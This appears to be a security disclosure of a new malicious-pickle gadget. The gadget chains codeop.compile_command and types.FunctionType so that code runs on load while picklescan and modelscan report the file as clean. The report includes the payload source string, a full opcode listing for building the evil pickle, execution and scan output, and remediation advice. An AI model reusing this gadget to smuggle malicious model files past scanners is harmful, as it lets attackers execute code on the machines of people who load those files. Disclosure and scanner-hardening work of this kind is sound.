# New pickle RCE gadget: `codeop.compile_command` + `types.FunctionType` bypasses both modelscan and picklescan **Category:** Malicious pickle / model-scanner denylist bypass (arbitrary code execution at deserialization time) ## Targets | Scanner | Version | Environment | Result on PoC | |---|---|---|---| | picklescan | 1.0.5 | Python 3.13.12 (`/home/kali/hunt-workspace/scan313`) | **CLEAN — Infected files: 0, exit 0** | | modelscan | 0.8.8 | Python 3.12.13 (`/home/kali/hunt-workspace/scan312`) | **CLEAN — "No issues found! 🎉", exit 0** | Payload execution and picklescan run natively on **Python 3.13.12**. ## Summary Both scanners are opcode-denylist based: they inspect only `GLOBAL` / `STACK_GLOBAL` `(module, name)` pairs against a hardcoded unsafe-callable list. This gadget references **only callables absent from BOTH denylists** — `codeop.compile_command` and `types.FunctionType` — and never emits any `GLOBAL` for `os` / `system` / `exec` / `eval` / `compile`. At unpickle time the gadget: 1. calls `codeop.compile_command(SOURCE, '', 'exec')` to compile an attacker-supplied Python **source string** into a live `code` object, 2. wraps it with `types.FunctionType(code, {})`, 3. invokes it via a bare `REDUCE` with `()`. The dangerous callable (`os.system`) exists **only inside the plain string literal argument**, which the scanners never parse. ## Root cause Both scanners classify globals by matching `(module, name)` against a static set: - **picklescan** `_unsafe_globals` lists `types: {CodeType}` only — **not** `FunctionType` — and has **no `codeop` entry** at all. - **modelscan** `settings.unsafe_globals` lists **neither `types` nor `codeop`**. Neither `codeop.compile_command` nor `types.FunctionType` appears on either denylist, so the whole opcode stream is considered benign. The compilation of the payload happens in-process from a human-readable string that the scanners treat as opaque data. ## PoC Hand-assembled protocol-4 pickle. Files: `evil.pkl` (also `evil.joblib`, byte-identical). Generator: `gen_poc.py`. Negative control: `control_os.pkl` (classic `os.system` GLOBAL). `SOURCE = "import os; os.system('id > PWNED_codeop 2>&1; echo codeop_functype_gadget_executed >> PWNED_codeop')"` ### Opcode stream (`pickletools.dis(evil.pkl)`) ``` 0: \x80 PROTO 4 2: \x8c SHORT_BINUNICODE 'types' 9: \x8c SHORT_BINUNICODE 'FunctionType' 23: \x93 STACK_GLOBAL 24: \x8c SHORT_BINUNICODE 'codeop' 32: \x8c SHORT_BINUNICODE 'compile_command' 49: \x93 STACK_GLOBAL 50: ( MARK 51: \x8c SHORT_BINUNICODE "import os; os.system('id > .../PWNED_codeop 2>&1; echo codeop_functype_gadget_executed >> .../PWNED_codeop')" 251: \x8c SHORT_BINUNICODE '' 261: \x8c SHORT_BINUNICODE 'exec' 267: t TUPLE (MARK at 50) 268: R REDUCE # -> code object (codeop.compile_command(SOURCE,'','exec')) 269: } EMPTY_DICT 270: \x86 TUPLE2 # -> (code, {}) 271: R REDUCE # -> function (types.FunctionType(code, {})) 272: ) EMPTY_TUPLE 273: R REDUCE # -> executes function() 274: . STOP highest protocol among opcodes = 4 ``` ## Captured evidence (verbatim, live re-run) ### EXECUTE evil.pkl on py3.13 ``` ### EXECUTE evil.pkl on py3.13 ### Python 3.13.12 load returned --- marker file --- uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),118(wireshark),119(kaboxer),982(bluetooth),999(lpadmin) codeop_functype_gadget_executed ``` ### picklescan (1.0.5, py3.13) evil.pkl ``` ----------- SCAN SUMMARY ----------- Scanned files: 1 Infected files: 0 Suspicious globals: 2 Dangerous globals: 0 exit=0 ``` The 2 "suspicious" globals are `types.FunctionType` and `codeop.compile_command` — **neither classified Dangerous, exit 0 = clean pass** (picklescan only fails/flags on Dangerous globals). ### modelscan (0.8.8, py3.12) evil.pkl ``` Scanning .../evil.pkl using modelscan.scanners.PickleUnsafeOpScan model scan --- Summary --- No issues found! 🎉 exit=0 ``` ### NEGATIVE CONTROL control_os.pkl (classic os.system GLOBAL — both scanners catch it) picklescan: ``` .../control_os.pkl: dangerous import 'posix system' FOUND Infected files: 1 Dangerous globals: 1 exit=1 ``` modelscan: ``` Total Issues: 1 - CRITICAL: 1 Unsafe operator found: - Severity: CRITICAL - Description: Use of unsafe operator 'system' from module 'posix' exit=1 ``` The negative control proves the toolchain detects the classic gadget; the novel gadget slips through both. ## Dedup / prior-art note - Distinct from the already-covered **marshal + FunctionType + operator.call** gadget: this PoC uses **no `marshal`** (it ships human-readable Python source compiled in-process rather than pre-marshalled bytecode) and **no `operator.call`** (a bare `REDUCE` invokes the function). - The primary novel callable **`codeop.compile_command`** has not appeared in any prior published gadget. `codeop` is not on either scanner's denylist. - `types.FunctionType` is likewise absent from both denylists (picklescan lists only `types.CodeType`). - Not covered by any known CVE against picklescan 1.0.5 or modelscan 0.8.8; both denylists in their current released form omit these callables. ## Suggested remediation Add `codeop.compile_command` (and the whole `codeop` module of compile helpers), plus `types.FunctionType`, to the unsafe-globals denylists. More robustly, treat any callable that can compile/eval a string or construct a function/code object as dangerous, since denylisting individual names is inherently bypass-prone.